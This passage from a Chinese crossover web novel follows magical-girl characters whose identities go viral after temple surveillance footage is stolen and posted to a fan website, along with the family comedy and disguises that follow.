这少女感拉满的语气态度，这样特殊又华丽的服饰，还有能够救出这么多人的奇特力量……不管从哪个方面来看，都实在是太像了。 坂口安吾陷入沉默，半晌后，艰难地道：“……很像，我对你们完全没有任何意见。” 说完后，坂口安吾犹豫了一下，刚又准备开口…… 这时，伏黑惠顶在头上、忘了收回的黑色猫耳忽然动了动。 黑发绿眸少女就像是突然听到了什么细微的异常动静，马上警觉地往旁边的古塔塔尖望去。 古塔的位置离这里倒是不怎么远，但是塔尖就比较高了。 “怎么了？”太宰治没办法听到那么远的细微动静，但却立刻注意到了伏黑惠的动作，随即问道：“你在看什么？” “没什么，那里什么也没有。” 伏黑惠盯着那里看了几秒，什么异常都没有看到。 她收回了目光，取消了能够增强视力和听力的魔法，眼睛和耳朵也就恢复了原本的样子。 伏黑惠对太宰治随口道：“可能只是我的错觉吧。” 不过，虽然伏黑惠对自己成为魔法少女后获得的新能力还不太适应，也不确定是否将这些掌握好了。 太宰治却倒是对她的能力挺信任的。 ……刚才古塔塔尖上可能真的是有什么家伙在看着他们这些人吧。 应该还是个厉害的家伙，能够及时反应过来，并且快速离开禅院穗的视野范围。 太宰治忽然觉得这样默默无声的注视有点熟悉，一时间却怎么也想不起来是为什么。 …… ‘还真是敏锐呢，下次得再小心点了。’ 及时想办法躲开其他人视线，转移到了另一处地方，白发青瞳的少女无声地松了一口气。 白色的小光球跑到她面前，问道：【但是，为什么要躲着她们呢？】 ‘因为不太好解释悄悄跟着她们的原因。’ 伊江朔久默了默，又道：‘……不过之后也不能一直这样躲下去。’ 系统应道：【确实。】 ‘得想个办法了，在有着性格debuff的基础上，想个合理的借口拉近和她们之间的距离。’ 【听起来似乎有点困难。】 伊江朔久点点头，说道：‘但是我已经有点头绪了。还记得我之前创办的那个网站吗？’ 【诶，是那个魔法少女网站吗？我记得你之前创办得差不多了，不过后来就没再怎么管了。】 ‘没错。’伊江朔久笑道：‘我们需要先往那个网站里加一些素材了。’ …… 暂时想不通就只能作罢。 太宰治收回目光，又望向坂口安吾，因为挺熟悉对方，所以她当然能看出对方如今还是有点纠结的样子，奇怪道： “对了，你刚才到底准备说些什么？” 坂口安吾犹豫片刻，问道：“你们是不是还有别的同伴也在这里？” 伏黑惠不解道：“没有，就只有我们两人。” 太宰治沉默了一会儿，理解了坂口安吾话里的含义：“你的意思是，你还看到了第三个魔法少女？” 坂口安吾点头：“应该是的。” 太宰治：“……” 好了，现在关于刚才古塔上的那个家伙的线索就有了。 说起别的魔法少女，伏黑惠脑海中第一个浮现的是那个白发青瞳的少女，当初那个人轻而易举就消灭了医院的魔女。 对比起来，自己刚才和津岛合作打败魔女的过程就显得艰难多了。 不知道换作是那个人的话，会不会像当初一样轻松地打败这次的魔女。 伏黑惠下意识追问道：“你说的第三个魔法少女，她长什么样子？” 坂口安吾尝试描述：“她是白发青眸，戴着很长的双色围巾……” 其实他说了个开头，太宰治和伏黑惠就都已经确定那个人是谁了。 而在场的其他人也有不少听过这种模样的少女——因为发生在浅井公寓楼里的那场直播热度非常高。 只是他们原先只知道她有不怎么科学的奇特能力，却没想到对方的身份居然会是魔法少女。 片刻间，刚随着时间而缓和了稍许的氛围，就又再一次被点燃了。 “那个人也是魔法少女吗？！” “你们真的都是魔法少女吗？能表演一下吗？” “难道动漫里说的都是真的？！那你们认不认识假面超人？那个会不会也是真的啊？” “你们是不是白天上学，伪装成普通人，然后晚上出来与怪物作战、保护民众？” “你们还有其他的魔法少女同伴吗？” “……” 周围这些人你一言我一语，声音根本停不下来，眼中也仿佛都带着热切的光。 就算是刚才大方地笑着承认自己是魔法少女的太宰治，此刻也有些难以招架，脸上的表情有点僵硬。 伏黑惠就更难以面对了，只想找个地缝钻进去。 尤其是伏黑惠还注意到，咒术高专的那几人脸上带着跃跃欲试的表情，似乎就快要忍不住走过来，问她和禅院家是不是有什么关系了。 千万不能让他们问出来。 情急之下，伏黑惠忽然想起了太宰治先前说过的话，立刻小声对她道：“你不是之前说可以带我离开吗？” 太宰治暗暗松了口气，扬起笑容道：“既然你有事想要离开的话，我当然可以送你，毕竟我欠了你的人情呀。” 说着，太宰治伸出了手，空中突然显现出了一本封面精美的书。 其他人还在惊讶好奇这本一看就非同寻常的书。 黑发鸢眼的少女便一边拿着书，一边牵起了身旁蓝瞳少女的手，向其他人轻轻鞠躬：“不好意思，我们有事就先走了，大家下次有缘再见吧。” 禅院真希本能地看着伏黑惠，张了张口，却什么都还没说。 面前的那两个少女便神奇地忽然消失不见了。 她们没有留下任何东西，就好像是一场梦般，让人如今清醒之后便忍不住开始怀疑梦的真实性。 魔法少女……真的可能存在吗？ 坂口安吾有些失神，脑海中忽然浮现出刚到这寺庙时，那位老警察说过“我们已经在这里提前几乎布满了监控”这样的话。 于是，他立刻目光往周围扫了一圈。 确实在不远处发现了安装在较隐蔽处的监控摄像头。 这监控应该能录到这里刚刚发生的事情吧？ 那这么说，那两个魔法少女倒也不是什么都没留下来。 坂口安吾莫名稍稍安心了一些。 本来还以为这次过东京来帮忙处理这种诡异的事件，会耗费很多时间，面对不少危险情况，很可能最后还一无所获。 然而，没想到刚过来，这一切的问题就被魔法少女给解决了。 不过…… 坂口安吾总感觉，自己好像还忘记了什么非常重要的事情。 难道是前段时间要忙的事情太多了，自己忙昏了头，所以不太习惯闲下来的感觉吗？ 第48章 太宰治将伏黑惠带到了寺庙外不远处的一片草丛里。 幸好，上次来到这里的时候，太宰治没把留在这儿的书页收起来。否则两人此刻就只能去到另一个存放书页的地方——横滨。 太宰治蹲下在草丛里捡起了那张书页。 现在也该把它回收了，留在这里很容易被来这个寺庙的其他人发现。 太宰治想了想，把书页递向伏黑惠，问道：“你需要这个吗？禅院，我可以送给你。” 伏黑惠问：“这有什么用？” 太宰治：“可以将它作为媒介，让我们随时来到对方身边。” 伏黑惠：“随时？” 太宰治如实回答道：“我可以随时出现在书页所在的地方，书页的其他持有人也可以瞬移到我所在的地方。但是当持有人想使用书页时，我能感应到，并且可以选择是否同意。” 伏黑惠：“……不好意思，谢谢了，我不用。” 太宰治倒也预料到对方不会同意了。 或者说，对方要是同意才会令人诧异。 毕竟书页这样的工具虽然方便有用，但是对其中一方也太不公平了。除非是面对特别亲近信任的人，才会有人愿意答应吧。 这么一想，书页的这个功能应该就只能自己一个人用了。 太宰治收回书页，然后拿出了手机，轻笑着问：“那要加个联系方式吗？” 伏黑惠迟疑片刻后，最终同意了。 她打开社交通讯平台，用禅院穗的那个账号加了对方好友。 本来创建那个社交账号只想着加津美纪一个人的，前些天意外加了虎杖悠仁，而今天又加了津岛…… 伏黑惠总有点不妙的预感。 这个只是随意糊弄出来的临时的假身份，如今已经认识越来越多的人了，之后不知道还会怎么发展。 而太宰治加上伏黑惠好友之后，却很快发现禅院穗的这个账号挺新的，应该是才创建不久的。 她看似随口地提醒道：“禅院，你平常不怎么用这个账号吗？” 伏黑惠：“啊？” 太宰治笑了笑，没说什么。 毕竟她用来加禅院穗好友的账号也不是自己最常用的那个。 有很多个账号其实也还算正常，不过还是想办法买一个旧账号来用，更能让其他人不在意。 这时候，伏黑惠的手机突然振动了一下。 伏黑惠莫名随之紧张了下，拿起手机看到了一条新消息。好在是发给伏黑惠的，而不是发给禅院穗的。 她看了一眼津岛，对方没有好奇想上来看自己手机的样子，她也就暂时放下了心，打开那条新消息。 伏黑津美纪：【惠，你上网了吗？】 伏黑惠有些茫然，不知道姐姐为什么会莫名提起这个，问道：【还没有，刚才有些忙，怎么了？】 津美纪：【那个……你……】 伏黑惠：？？？ 伏黑惠又等了会儿，津美纪依旧还没发来有用的消息，于是自己主动道：【我过会儿回家吧，有事的话到时候再告诉我也行。】 津美纪倒是终于不纠结了：【好的。】 紧接着，津美纪又疑惑地问：【今天这个时间……你不是应该在东京咒术高专上学吗？怎么会有空回家？】 伏黑惠倒吸一口气，不由得紧张起来，就仿佛是逃学被家长发现了的感觉。 不过，也确实算是逃学。 津美纪说的没错，这个时间自己本应该在上学才对。 新学期开学后，伏黑惠进入了咒术高专。因为那个学校地址太过偏远，所以自己当然只能住宿，每隔一段时间才能回家一趟。 现在这个时间，理应还在上学，而且自己刚入学没几天，也不至于这么快就接任务外出祓除咒灵。 伏黑惠这次是靠着代课的辅助监督有事，让其上自习，而高专里暂时只有自己一个一年级的学生。 所以才得以成功逃学，没被任何人发现。 在心里快速编完了借口，伏黑惠马上发道：【我发现还有需要的东西没买，高专这附近也没什么超市，所以我就请了假准备回来一趟。】 发完后，伏黑惠还是不太能安心。 这个借口虽然听起来还挺合理的，但是也很容易露馅。 幸好，津美纪好像没怎么起疑心，不知道在挂念着什么，只是催促道：【嗯，那你尽快回来吧。】 伏黑惠：【好的。】 发完消息，她抬头看向面前的津岛。 对方冲她笑了笑，问：“你准备要走了？” 伏黑惠：“……是的。” “分别之前，我还有一个问题想要问你。”太宰治带着肯定的语气道：“你认识那个白发青瞳的魔法少女吧。” 伏黑惠怔了下，问：“你怎么知道？” 太宰治：“很明显啊，从你之前的反应就能够看出来了。” 伏黑惠：“……” 她开始怀疑，自己的动作表情真的有那么容易让人读懂吗？ “不过，也不能算是认识。”伏黑惠解释道：“我只是见过一次她与魔女战斗时的场景而已。丘比告诉我的也只有她的名字是朔夜。” “这样啊，那这么说丘比知道？”太宰治下意识地想去看丘比，结果没看到。 伏黑惠也跟着扫了周围一圈，同样没看到丘比。 伏黑惠：“丘比呢？” 太宰治：“……刚才带你离开的时候，把它给忘了。” 一时间，空气里格外沉默。 伏黑惠尴尬地咳嗽两声，说：“你问丘比的话，它也不会说出别的魔法少女的信息。因为它之前说过，不会透露任何魔法少女的隐私。” 太宰治干笑着说：“这样挺好的。” 伏黑惠突然想到：“话说，你为什么对朔夜感兴趣？” “这个嘛……”太宰治想起当时白发少女干脆利落地从高楼上一跃而下的样子，说道：“我有点想问问她跳楼的体验。” “？？！” 伏黑惠也看过那次直播，但也感觉不太能听懂对方在说什么。 太宰治：“总之，就只是有点好奇罢了。” “好吧。”伏黑惠选择尽量理解：“……再见，我现在得赶紧走了。” 太宰治挥手：“下次再见。” 看着禅院穗离开后，太宰治终于能够解除变身，重新恢复了青年的模样。 他想办法不引人注目又努力地避开监控，小心地回到了寺庙里。 刚才魔女结界附近那一片区域，到了如今也依旧很热闹。 虽然这次事件算是解决了，但是后续警方还有许多事情要处理，比如说先给快要在结界里饿死的人喂点吃的喝的，等救护车来把他们送到医院检查一番…… 太宰治没有在这里看到丘比，不过不出意料地看见了坂口安吾的身影——对方本应该没什么事了，却还在这里给警方帮忙。 “安吾。” 太宰治走上前去，出声道。 坂口安吾仿佛被吓了一跳，回过头来惊讶道：“太宰？！” 太宰治：“你刚才在想什么呢，被我喊了一声反应就这么大。” “没什么……”坂口安吾有些心虚。 他总不能说刚才一直在想自己是不是忘了什么，太宰治出声后，他才想起来把太宰这家伙给忘了。 不对啊……应该是太宰更心虚才对吧！ 坂口安吾反应过来，立刻问道：“你之前跑哪里去了？怎么都不提前给我打个招呼，人就直接消失了。” 太宰治移开视线：“那个，我就随便在寺庙里转转而已。” “……我知道了。”坂口安吾面无表情地说：“你一定是去祈愿的。这座寺庙之前在保佑长寿健康这方面一直很灵验。你肯定是去许愿希望自己长命百岁对吧。” 不愧是朋友，熟悉着太宰治的坂口安吾只说了几句话，然而其中的杀伤力非同小可。 太宰治捂着胸口装作痛心，演技非常夸张地说：“安吾真狠心，好恐怖的诅咒啊……” 坂口安吾：“……” “唉，你这家伙……”坂口安吾无奈地叹了口气，语气很是沧桑道：“算了，我也懒得追根究底地问你了。” 看对方态度缓和下来，太宰治也不客气，直接顺势打探道：“我不在的时候，这里都发生了什么。” 坂口安吾跟他大概都讲了一遍。 本以为太宰治听了这么离奇的事情，他也能难得从对方脸上看出点难以置信的表情。 结果，太宰治却仿佛很快就接受了，并且饶有兴趣地追问道：“你再仔细说说，当时那个白发少女的表现。” 坂口安吾尽量再仔细回忆，补充了一番。 “……差不多就是这样了，我也没跟她说过几句话。” 太宰治仗着自己的观察力和魔法费力躲过了监控，就完全没替禅院穗和朔夜考虑。 他直接问：“这寺庙里不是提前被安放了许多监控吗？可以通过监控看看她是怎么来到这里的吧？” 可惜，坂口安吾却没像他以为的那样答应，而是面色沉重地说：“我们刚才检查监控录像的时候，发现它被远程盗走并删除备份了。” 太宰治想了想，问：“这会是那几个魔法少女做的吗？监控录像没了之后，这里的人就没办法证明魔法少女、结界这一类离奇的事情了吧。” “这个……”坂口安吾一言难尽：“录像倒也不是全都没了……” 太宰治：“……？” 坂口安吾不知道该怎么给他解释，犹豫片刻，拿出手机打开了一个页面给对方看。 “我们发现，有人将被盗走的录像部分剪辑后放到了一个网站上。” 太宰治难得这么艰涩地开口：“你是说……” “没错，刚才寺庙里被监控录下来的关于魔法少女的画面在网上都能看到。” 坂口安吾点了点头，语气莫名：“官方已经瞒不住魔法少女的事情了……她们彻底火了。” 太宰治眼前一黑。 第49章 好恐怖，自己变身后的性转体以这种方式大火，能被所有人看见和讨论…… 这真的是太恐怖了。 他该不会还在梦中吧？ 太宰治恍恍惚惚，实在是难以面对眼前这一事实。 “太宰？”坂口安吾奇怪地看着自己这不太对劲的友人，疑惑地问：“你还好吗？” 太宰治勉强笑道：“我很好。” 既然魔法少女大火已成现实，至少他不能让其他人察觉自己隐藏着魔法少女的身份。 津岛是津岛，太宰是太宰，两者绝对不能被人联系起来！ 太宰治说：“这么一来，我倒是觉得监控录像可能不是那几个魔法少女做的了。” 坂口安吾不解地问：“为什么？” “她们要是想出名的话，大可以直接往人群里面一站，随便使用点魔法。就会有数不清的人主动给其拍照录像剪辑，早就会火遍大街了，哪里还需要自己麻烦来做这些。” 而且…… 太宰治回想着朔夜和禅院穗的样子，她们的性格不像是会做这种事情的。 坂口安吾道：“你说得很有道理，不过这样说来，倒是完全没有头绪找到盗走监控录像的人了。” 太宰治暗暗攥紧了拳，脸上笑容却愈发温和：“我倒是也很想找到那家伙。” “还有……今天在寺庙里遇见的情况，之后在其他地方也很可能还会发生。”坂口安吾边思索边说：“从这次事件来看，只有魔法少女最适合处理这种事。” 太宰治想了想结界里遇到的魔女：“确实。” 坂口安吾：“也不知道今后遇到类似的事情，能否联系得上魔法少女并请她们来帮忙……” “应该可以的。”太宰治不方便暴露自己身份，只能含糊地说：“魔法少女听起来就像是正义的伙伴呢……再说，今天她们不就是主动来帮忙了吗。” 坂口安吾还是不太能安心：“但是，请未成年的女孩子来战斗……我总觉得这种事情似乎不太好。” 太宰治：“……” 真是没办法跟安吾再继续聊下去了。 …… 还没知晓魔法少女已经大火，于是伏黑惠毫无心理准备，解除变身后直接回到了家里。 刚一打开家门，熟悉的声音就紧跟着响起来。 “惠，欢迎回来——” 扎着马尾的棕黑发少女就守在门口处，眼睛里面亮闪闪的，看起来有些活泼稚气，和平常的稳重有了许多反差，仿佛在期待着什么。 “怎么了？津美纪。” 伏黑惠有了不太妙的预感，小心翼翼地出声问道。 津美纪温和又包容地说道：“穗的事情，我已经知道了。” 伏黑惠心跳似乎骤然停了一刻，好不容易才勉强自己恢复理智。 冷静，冷静，津美纪不应该会发现啊，他之前明明那么小心，对方是怎么发现漏洞的，这不合理…… 或许津美纪只是在故意诈他？ 伏黑惠努力保持镇定模样，问道：“你知道什么？我听不懂。” “别瞒我了，我真的已经知道了。” 津美纪了解自己弟弟，看着伏黑惠的样子就明白对方肯定早就知道了这件事：“穗是魔法少女对吧。” “那个……我……” 伏黑惠的话卡了个壳。 虽然不知道津美纪为什么能这么肯定，但是他忽然反应过来，对方还不清楚他就是禅院穗。 否则也不会提起穗，而是直接说他了。 既然如此，现如今也就只能舍车保帅了。 伏黑惠沉重地点了点头：“……你说得对，穗其实是魔法少女。” 与他的沉重表情截然相反的是，津美纪忽然扬起的格外明媚的笑容：“果然，我就说那天穗的服饰很特殊，可是之后却也没有查到附近学校有什么表演活动或舞会。” 伏黑惠木然地应声：“嗯嗯。” 津美纪又问道：“我能够从昏迷中醒来，是不是也是穗的功劳？是你拜托穗来帮忙治疗我的吧。” “……是的。” 伏黑惠想了想，也应下了。这倒是一个不错的借口。 “这么说来，我还没有好好感谢穗呢。”津美纪陷入了思考。 伏黑惠生怕她又想着把禅院穗约出来，好好感谢对方一番。到时候麻烦的就是要伪装成女孩子去应付姐姐的自己了。 他连忙转到重要的话题上：“姐，能不要把魔法少女的事情告诉别人吗？禅院她不希望暴露自己的身份。” 这两句话让津美纪非常顺利地暂时忘了感谢的事，只是她脸上的表情也随之转变成了为难担心的样子。 伏黑惠艰难道：“……怎么了？你已经给其他人说了吗？” 他尽量让自己心绪平和下来。 仔细想想，如果让津美纪认识的同学和朋友知道了，也不会引起多大的麻烦。 不过如果津美纪是告诉了五条老师的话，那就麻烦大了。按照五条老师的性格，肯定会对这种事情超级感兴趣的……真恐怖啊。 伏黑惠已经幻想到了那样的画面——五条悟饶有兴趣地纠缠着自己，各种逼问禅院穗的事情，最后意外被他发现自己的秘密。 ——五条老师嘲笑地拿着手机拍照：“原来惠居然是魔法少女啊，好厉害哦，我可要发到群里给大家都看看~” 真恐怖……伏黑惠尽力宽慰自己，应该不会倒霉到这种程度吧。 “你还不知道吗？”津美纪望着他，语气担忧地说：“现在所有人都知道穗是魔法少女了。” ……？？！ 伏黑惠顿时提高声音：“所有人？！！” 津美纪点了点头：“有个魔法少女网站上传了关于穗和其他魔法少女的录像，论坛上大家正讨论得非常热烈呢，甚至现在还有电视台在报道魔法少女的事情。” 伏黑惠：“……” 哈哈，事情的发展比他预想到的还要糟糕得多呢。 伏黑惠莫名想笑又笑不出来，脸上带着平静中透露着疯感的表情，周围萦绕着挥之不去的压抑氛围。 津美纪喃喃道：“真不知道穗怎么样了，她现在会不会很苦恼啊？” 伏黑惠：“……她没事的。” 因为根本就没有禅院穗这个人，有事的从始至终都只有自己而已。 耗费了好大功夫，终于应付完了姐姐之后，伏黑惠拖着疲惫的身体回到了自己的房间里。 把门关上之后，他犹豫了半天，还是鼓起了勇气，决定面对惨痛的现实。 伏黑惠打开了电脑，进入搜索引擎，搜索“魔法少女”。 他之前刚签约后，也曾上网查过魔法少女，但当时网页上显示出来的几乎都是一些魔法少女类型的子供向动漫。 而如今，网页上显示的画面却完全不同了。 第一条是个从没见过的‘魔法少女网站’，这名称还真够直白的。 伏黑惠的视线被第二条占据很大位置的电视报道吸引了——那是日卖电视台的报道。 一个额上有着几绺弯折状细发、扎着低马尾的蓝色猫眼的女主持人在一本正经又不失温和地报道着关于魔法少女的事。 她说寺庙里发生的那件很多人失踪或死亡的事件，是魔法少女出面解决了，所以那么多人才能够得救。 伏黑惠没想到自己刚经历完的事，转眼就能被报道到网上了。 他忽然感觉这个世界疯了。 ……居然还真的有电视台在报道这种事情啊。 明明在不久之前，他还完全不相信魔法少女的存在，觉得那完全是只有小孩子才会被骗的谎言。 可是没过多久，如今他不光和丘比签订了契约，变身之后成为了魔法少女，这个身份居然还已经人尽皆知了？？！ 要知道，现在世界上绝大多数人甚至还不清楚咒术师和咒灵的存在。 伏黑惠咬着牙，想看看自己到底暴露了多少事情。 他艰难地操控着鼠标，点进了那个‘魔法少女网站’。 网站页面制作得非常出色，排版清晰，内容丰富，有魔法少女介绍页、魔女信息页、论坛交流页……等多个页面。 首页还有搜索框和热门内容推荐。 伏黑惠心情复杂地点进魔法少女介绍页。 映入眼帘的就是他给自己取的假名——禅院穗。 他的手颤颤巍巍地点进详情，幸好里面的信息显然不太全，只有一些像是监控录像的视频画面。 除了名字之外，上面显示的年龄推测是十四五岁，身高推测是148cm到152cm之间，还有一些关于其性格和魔法能力的推测。 这也太恐怖了吧？ 伏黑惠有一种自己突然原地出道的感觉。 好在其他人不知道魔法少女只是一种职业，他实际的身份是男子高中生。否则这样发展下去，迟早网友们能够顺藤摸瓜地查到他家里来。 伏黑惠返回上一个页面，准备看看其他魔法少女的信息。 结果，上面只显示了朔夜和津岛这两个魔法少女，而且她们的信息都是他已经知道了的。 津岛的图片和视频都是在那座寺院里的，其中不少还是和他一起被监控录下来的。 因为监控没办法录到魔女结界里的场景，所以关于津岛的信息和他的差不多，也就只有津岛这个姓氏、预测她身高在152cm到155cm之间、以及暴露出来的瞬间消失的魔法能力。 至于朔夜…… 这个网站上连她的名字都不知道。 关于她的信息来自于浅井公寓楼那次恐怖事件的直播录像，和她经过米花中央医院的一处走廊时的监控画面…… 还有寺庙里她与坂口安吾交谈几句后走入结界的监控视频。 伏黑惠怔了片刻，他知道朔夜这次也来了寺庙，不过没想到对方也进入了魔女结界。 第50章 朔夜明明也进入了魔女结界，而他和津岛当时却完全没能够发现她，果然对方的实力强得有些离谱了。 可是……伏黑惠不太能明白，既然她在场，又为什么一直没有出现？ 她肯定是能够轻松解决掉那个魔女的，却怎么只是在背地里看着他和津岛战斗，也没有要抢悲叹之种的意思。 对于朔夜的了解太少了，伏黑惠一时无法轻易做出判断。 他只能把疑惑暂时放在心底，又随意地点进了魔女信息页。 上面记录的魔女只有医院的魔女和镜之魔女这两个，信息少得可怜，很明显像是采访了受害者才得出的一点情报。 不过，毕竟普通人无法看到魔女，能掌握这么多情报已经很不容易了。 伏黑惠松了一口气。 只是这些信息被暴露出去了，那还勉强在他的心理承受范围之内。 他心念一动，忍不住去看网站首页的热门内容推荐。 上面的作品内容风格差异很大，明显不是网站的经营者做的，而是许多普通人自发制作的。 其中有剪辑的魔法少女的视频，有别人对她们身份关系的分析视频，有关于她们的简笔漫画，还有人写了互动小剧场…… 离魔法少女的事情暴露也没过多久吧？ 这里的内容怎么能够这么丰富…… 伏黑惠恍恍惚惚地翻看了下这些推荐内容，木然地看完又退出去，几乎没感觉到多少有用信息，他又点进了论坛区。 论坛里显得还要更加热闹许多。 各种类型的帖子多得根本数不过来。 大家格外热情地交谈着关于魔法少女的事情，探究魔女带来的威胁，有人还发起了关于魔法少女爱好者的线下交流活动…… 明明最多不过半天而已，伏黑惠看不懂但大受震撼，怎么这么快就发展到如今这一地步了？ 居然还有人做了自己判断的这三位魔法少女各方面的排名，关于能力、身高、外貌、年龄等等……当然这些排名无法说服其他所有人。 所以，有人在底下评论：【这不公平！楼主明显是单推，我家穗显然才是最可爱的。】 【确实，会动的黑色猫耳也太可爱了，绝对第一！！】 紧接着，却也有人不满意地道：【楼上才是单推吧，话语里的偏向性也太明显了。】 【按我说，她们三个都很好看啊，风格各不相同而已，这没办法比较吧。】 伏黑惠差点看不下去了。 什么“我家”、“猫耳”、“太可爱了”……这种话也太要命了。 听起来真让人以为他已经出道了呢。 伏黑惠忍不住捂住了脸，手贴在微微发热的脸上，手动给自己降了下温后，才慢慢好多了。 他想，下次尽量还是不在人前使用自己这种类型的魔法了吧。 不过虽然感觉很尴尬，但是抱着莫名好奇在意的心理，伏黑惠还是控制不住继续看下去，想知道这些人还聊了些什么。 【这排名确实让人感觉太假了。白发的那个魔法少女个子显然是三人中最矮的，为什么在年龄排名上会将她排在最前面？】 【因为……性格和气质？】 【那个白发少女给人的感觉，的确很容易让人忽略实际身高，看着有种生人勿进的感觉。】 【也是，如果我能见到她们三个的话，绝对会想挤上前去跟津岛和穗搭话的。但却不怎么敢跟白发的那个魔法少女说话……】 【我觉得她也没多可怕吧。上次她在浅井公寓不是还帮忙拆除了炸弹？至于当时将箭矢对准那个男的，还不是因为对方太过分了嘛！】 【对比起来，果然还是个子相对而言最高的津岛看起来活泼又可爱，显得年龄最小。应该就是她年纪最小吧。】 【奇怪，魔法少女们难道是身高与年龄成反比吗？】 伏黑惠倒也搞不清楚自己和其他魔法少女的年龄差，不过感觉身高确实不怎么准。 他变身性转之后，身高从175cm缩水到了150cm，这也太夸张了。 其他货真价实由少女变成的魔法少女，可能身高也会有所改变，但肯定也不至于像他一样矮这么多吧。 他当时用自己的魔法增强视觉后，能精准目测津岛的身高是154cm。 想来，津岛的实际身高最高应该也就一米六多吧。 话说……自己想这些做什么啊。 伏黑惠忽然意识到自己的思绪走偏了，他明明感兴趣的应该是，这些人对她们的魔法能力的推测和讨论。 然而，他接着看下去，也没见这些人怎样正经讨论…… 【我发现这些排名里，居然没有最受欢迎的魔法少女排名诶。】 【但是谁最受欢迎不是很明显吗？大家不是普遍白毛控吗？】 【也不一定吧，我就觉得黑发最好看（认真）】 【津岛那么温柔俏皮可爱，看着开朗大方，肯定情商很高。等着看吧，我相信肯定是她最受欢迎。】 【……感觉这些都不是我最喜欢的类型，如果有更酷一些的魔法少女就好了。】 【当然是穗最受欢迎！！！】 【视频里被其他人追问魔法少女的事情时，穗脸上害羞不好意思的表情超可爱的好吗！】 伏黑惠看得实在有些不好意思。 这时候，他房间的门响了两下，明显是有人在外面敲门，接着出声道：“惠，你还没吃饭吧？别总一个人待在房间里，出来吃点东西吧。” “好、好的。”伏黑惠险些被吓了一跳。 听对方语气很奇怪，津美纪疑惑又关心地直接打开了房门。 “怎么了？你还好吗？刚才就一直觉得你状态好像不太对……” 她的视线转向对方电脑上显示的网页。 伏黑惠注意到她的视线，反应却慢了一拍地去遮电脑上的页面。 然而，津美纪已经意外看到了。她愣了一下，随后不禁笑了起来。 伏黑惠僵硬地道：“……那个，你听我解释。” “需要解释什么？”津美纪有些不明白：“我也觉得是穗最受欢迎呢，她确实是我心目中最好的那个，其他谁也比不过。” 伏黑惠耳尖微微发红，还没能练出足够好的心理承受能力，听到这种话自然无法保持平常状态，声音微不可闻道：“我知道了，拜托、别说了……” 津美纪看看伏黑惠，又看了看被他遮住的电脑屏幕，眼睛慢慢地眨了眨，心里忽然生出了一个念头。 “惠，你该不会是……喜欢穗吧？” 伏黑惠（禅院穗）：……？？！ 这是什么话？他自己怎么可能会喜欢上自己！ 下一刻，伏黑惠立即着急地连声反驳：“没有！真的没有！你别乱想！！！” 津美纪无奈地笑着点点头，看起来也不知道是信了还是没信：“好好好，我知道了。” 伏黑惠：“……” 怎么办，怎么才能在不暴露自己身份的同时，说服姐姐相信他真的不喜欢禅院穗…… …… 看着魔法少女网站已经完善得差不多，越来越多的用户们涌现进来，伊江朔久也就终于能暂时歇会儿了。 【这下所有人都知道魔法少女的存在了。】系统感慨道：【也不知道这样是好是坏。】 ‘放心吧，少了要说服别人相信魔法少女的步骤，这样不是更方便我们找人签约么。’ 这时，身后传来两下敲门声，一个比较陌生的青年的声音随之响起：“伊江。” 伊江朔久回头道：“请进。” 一个黑发蓝瞳、外貌气质稍显内敛的年轻人走进这个房间，他的手上还端着一杯奶茶，笑容亲和。 “伊江，我一个人闲着无聊，就学着煮了些奶茶。第一次尝试可能做的不太好，你给我点建议吗？” 这是已经经过易容、并装备上变声器后的萩原研二。 伊江朔久的行动很迅速，之前刚说了希望萩原研二帮忙经营一家侦探事务所，并和他一起住在这里，还会请组织里有名的千面魔女贝尔摩德来给其易容。 结果那天下午，贝尔摩德就过来帮萩原研二易容，还教给了他一些伪装成其他人、让熟悉的人难以认出自己的小技巧。 而且，那家位于米花町的侦探事务所也很快被专人收拾好了，他们很干脆利落地搬了过来，当天晚上直接入住。 萩原研二现在还不太习惯这一切。 他感觉伊江朔久身上藏着许多秘密，能够探究这些秘密的方法也就只有和对方打好关系，这也是他目前唯一能做的了。 伊江朔久接过杯子，没有戒备地直接喝了一口，然后道：“味道很好啊……谢谢你了，萩原。” 这句话不是客套，他确实觉得奶茶的味道不错，还是自己喜欢的甜度。 所以伊江朔久都忍不住想，让萩原研二来帮忙经营侦探事务所是不是一个错误的决定，或许隔壁的那家波洛咖啡厅更适合对方呢？ 本来他是觉得侦探事务所比较清闲，可以让萩原有足够的时间去做自己想做的事，也比较容易掩人耳目，才决定安排对方待在这里的。 不过，如果萩原对茶饮感兴趣，觉得待在这里比较无聊的话……那家咖啡厅目前也确实还没招够适合的店员…… 看着伊江朔久似乎在想什么，萩原研二不知不觉有点紧张。 “那个，我打扰你了吗？” 伊江朔久闻言望向他，即刻答道：“当然没有，你怎么会这么想。” 萩原研二有点心虚。 奶茶当然没有什么问题。 只不过——其实这不是他第一次端着奶茶，以此为借口过来试探性地敲门了。【你现在阅读的是 】 50-60 第51章 在昨天晚上萩原研二和伊江朔久搬进这里、分了房间之后，伊江就说自己有事，于是一个人进房间并锁上了门，一直没有从里面出来。 萩原研二感到疑惑，后来留心注意着，却发现伊江房间里似乎没有任何动静，就像是人已经不在房间里了般。 虽然伊江的房间是有窗户可以通向外面的，但是对方明明不良于行，怎么可能借助窗户离开这里？ 如今萩原研二住在对方的屋檐之下，不好直接探究对方的秘密，但也不能随便放心这个自己在犯罪组织里的新上级。 于是他就做好了奶茶，以此为借口，试探性地过来敲门。 从早上到现在夜幕即将降临，萩原研二一共都过来敲了七八次门了，而这奶茶也已经反复热了几次。 下午的时候，他甚至还只能被迫把奶茶倒掉，重新煮了一次，再反复过来敲门。 然而，直到刚刚敲门后，房间里才第一次有人回应了“请进。” 所以，在伊江朔久好像拿着奶茶在想些什么的时候，萩原研二便不由得有点担心起来。 对方没有发现他的试探吧？ 应该没有吧？ 现在想来，还是觉得伊江朔久从窗户离开这个房间不太合理。除非对方的腿疾是假的，但是伪装这个又能有什么用呢，只会给自己添麻烦吧。 可是，伊江这么久待在自己房间里不出来吃饭，确实很不对劲啊。 总不会是伊江在房间里备了些吃的，故意待在那里面不出声，然后听着他反复过来敲门试探，借此看出他的防备，想要敲打一下他…… 就在萩原研二忍不住思绪越跑越远的时候，伊江朔久出声道：“不用担心，你在这里想做什么就做什么，不用那么客气。” 萩原研二有点怔神。 对方的话听起来很真诚，之前的态度其实也一直都这样……直接说出希望组织覆灭的话，还不设防地喝下他送过来的茶饮。 但是，这样的人被自己的前上级那么忌惮，在犯罪组织里的地位那么高，怎么都无法让人放心吧。 再说，小阵平应该已经被对方蒙骗了，他要是再不警惕注意点不就彻底完了吗？ 不过……萩原研二又回想起昨天贝尔摩德过来帮自己易容时的场景。 